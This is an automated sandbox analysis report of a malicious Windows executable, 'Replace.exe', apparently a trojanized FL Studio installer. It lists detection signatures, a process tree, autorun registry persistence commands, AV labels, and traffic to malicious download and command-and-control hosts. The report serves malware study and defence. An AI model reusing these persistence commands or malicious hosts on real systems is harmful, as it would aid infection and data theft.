Edit tour

Windows Analysis Report
Replace.exe

Overview

General Information

Sample name:	Replace.exe
Analysis ID:	1434556
MD5:	fd5cd14325c51ecab6a57d1d665f8852
SHA1:	ea16aa0f197210437733c63a42a8f1dd6442d753
SHA256:	d433cd0ba6b6850a9f616b3b89754a005699547d4e04fadb75cade770156cfd1
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Machine Learning detection for dropped file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Uses known network protocols on non-standard ports

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to delete services

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Replace.exe (PID: 7572 cmdline: "C:\Users\user\Desktop\Replace.exe" MD5: FD5CD14325C51ECAB6A57D1D665F8852)

rundll32.exe (PID: 7608 cmdline: rundll32 "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt MD5: 889B99C52A60DD49227C5E485A016679)

wnsA071.tmp (PID: 8912 cmdline: wscsu.exe /S /VERPOSTFIX=bt MD5: 7A506A2E92BC66A9F64C2333A815E97A)

cleaner.exe (PID: 8952 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" MD5: E9DED10DFF258F6522FE9079ED3319CA)

node.exe (PID: 8964 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js" MD5: 5F40521D2E1082FE1C734610C4A83911)

WMIC.exe (PID: 9008 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 9036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 9152 cmdline: wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 9160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 1720 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 8428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8600 cmdline: wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 8620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7252 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 7244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5668 cmdline: wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 8732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 2312 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 4548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6188 cmdline: wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 6200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6548 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 6604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6828 cmdline: wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 6872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6540 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 6612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

run.exe (PID: 7680 cmdline: .\run.exe MD5: D77C3EF3EFA7E38EF91137466EEE801B)

chrome.exe (PID: 7744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:/// MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8000 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2272,i,3908760233601738939,4589788007160690134,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

rundll32.exe (PID: 8332 cmdline: "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 8344 cmdline: "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt MD5: 889B99C52A60DD49227C5E485A016679)

wnsCCC1.tmp (PID: 4040 cmdline: wscsu.exe /S /VERPOSTFIX=bt MD5: 7A506A2E92BC66A9F64C2333A815E97A)

cleaner.exe (PID: 5924 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" St0P MD5: E9DED10DFF258F6522FE9079ED3319CA)

cleaner.exe (PID: 8312 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" MD5: E9DED10DFF258F6522FE9079ED3319CA)

node.exe (PID: 8296 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js" MD5: 5F40521D2E1082FE1C734610C4A83911)

WMIC.exe (PID: 2836 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

rundll32.exe (PID: 8648 cmdline: "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 8660 cmdline: "C:\Windows\system32\rundll32.exe" "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt MD5: 889B99C52A60DD49227C5E485A016679)

wnsF0F3.tmp (PID: 7708 cmdline: wscsu.exe /S /VERPOSTFIX=bt MD5: 7A506A2E92BC66A9F64C2333A815E97A)

cleaner.exe (PID: 7588 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" St0P MD5: E9DED10DFF258F6522FE9079ED3319CA)

cleaner.exe (PID: 4320 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" MD5: E9DED10DFF258F6522FE9079ED3319CA)

node.exe (PID: 3912 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js" MD5: 5F40521D2E1082FE1C734610C4A83911)

WMIC.exe (PID: 8480 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: E2DE6500DE1148C7F6027AD50AC8B891)

conhost.exe (PID: 1028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleaner.exe (PID: 7716 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe" MD5: E9DED10DFF258F6522FE9079ED3319CA)

node.exe (PID: 5328 cmdline: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\service.js" MD5: 5F40521D2E1082FE1C734610C4A83911)

cleanup

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: rundll32 "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 7608, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\cleaninethelper

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32 "C:\Users\user\AppData\Local\Temp\wsc86FC.tmp",Start verpostfix=bt, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 7608, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\cleaninethelper

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\wnsA071.tmp, ProcessId: 8912, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://files.nflxso.ca/downloads/winapp/latest-version.txt1%	Avira URL Cloud: Label: malware
Source: https://files.nflxso.ca/downloads/winapp/latest-installer.exe3	Avira URL Cloud: Label: malware
Source: https://files.nflxso.ca/downloads/winapp/latest-installer.exe-	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Avira: detection malicious, Label: PUA/Agent.clw
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Avira: detection malicious, Label: PUA/Agent.clw
Source: C:\Users\user\AppData\Local\Temp\wsc86FC.tmp	Avira: detection malicious, Label: TR/Spy.Gen
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Avira: detection malicious, Label: PUA/Agent.clw

Multi AV Scanner detection for domain / URL

Source: files.nflxso.ca	Virustotal: Detection: 6%	Perma Link
Source: https://files.nflxso.ca/d	Virustotal: Detection: 5%	Perma Link
Source: http://files.nflxso.ca/downloads/winapp/latest-version.txt	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe	Virustotal: Detection: 73%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Virustotal: Detection: 7%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\wsc86FC.tmp	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\wsc86FC.tmp	Virustotal: Detection: 66%	Perma Link

Multi AV Scanner detection for submitted file

Source: Replace.exe	ReversingLabs: Detection: 28%
Source: Replace.exe	Virustotal: Detection: 49%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe

Joe Sandbox ML: detected

Source: Replace.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line\FL Studio 20	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line\FL Studio 20\__tmp_rar_sfx_access_check_5937078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line\FL Studio 20\FL64.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line\FL Studio 20\FLEngine_x64.dll	Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.152.151:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.151:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.151:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49760 version: TLS 1.2

Source: Replace.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: compiler: cc /Zi /Fdossl_static.pdb -DOPENSSL_IA32_SSE2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAES_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPADLOCK_ASM -DPOLY1305_ASM source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: !"#$% !"#$%&'()*+,-./0123456789:;<=>?@ABCD./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzdes(long)compiler: cc /Zi /Fdossl_static.pdb -DOPENSSL_IA32_SSE2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAES_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPADLOCK_ASM -DPOLY1305_ASMbuilt on: Tue Mar 15 17:28:15 2022 UTCplatform: OPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "NUL"not available@@@@@@@@@hHHHH@@@@@@@@@@@@@@@@@@( source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: Replace.exe, 00000000.00000003.1668526597.0000000004074000.00000004.00000020.00020000.00000000.sdmp, run.exe, 00000002.00000000.1694241390.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmp, run.exe, 00000002.00000003.1696934689.0000019819FC2000.00000004.00000020.00020000.00000000.sdmp, run.exe, 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmp, run.exe, 00000002.00000003.1701249383.00000198188A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\ws\out\Release\node.pdb source: node.exe, 0000000F.00000002.2913751697.0000000001801000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000001801000.00000040.00000001.01000000.0000000C.sdmp

Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BB2EFC FindFirstFileA,FindFirstFileW,	0_2_00BB2EFC
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FB9B8F8 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	2_2_00007FF75FB9B8F8
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBC0870 FindFirstFileExA,	2_2_00007FF75FBC0870
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Code function: 2_2_00007FF75FBB0310 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,swprintf,SetDlgItemTextW,FindClose,swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,swprintf,SetDlgItemTextW,swprintf,SetDlgItemTextW,	2_2_00007FF75FBB0310
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_0040672B FindFirstFileW,FindClose,	13_2_0040672B
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	13_2_00405AFA
Source: C:\Users\user\AppData\Local\Temp\wnsA071.tmp	Code function: 13_2_00402868 FindFirstFileW,	13_2_00402868
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_0040672B FindFirstFileW,FindClose,	20_2_0040672B
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	20_2_00405AFA
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Code function: 20_2_00402868 FindFirstFileW,	20_2_00402868

Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper	Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 172.67.152.151 443

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 6101
Source: unknown	Network traffic detected: HTTP traffic on port 6101 -> 49757

Source: global traffic

TCP traffic: 192.168.2.4:49757 -> 74.201.73.52:6101

Source: global traffic

HTTP traffic detected: GET /strvn HTTP/1.1Sec-WebSocket-Version: 13Sec-WebSocket-Key: R0PH52ZGGW4pHocLPSKo4A==Connection: UpgradeUpgrade: websocketSec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsHost: register.nflxso.ca:6101

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 74.201.73.52 74.201.73.52

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86

Source: global traffic	HTTP traffic detected: GET /downloads/winapp/latest-installer.exe HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows) WinHTTP/Gecko Chrome/9999999Host: files.nflxso.ca
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
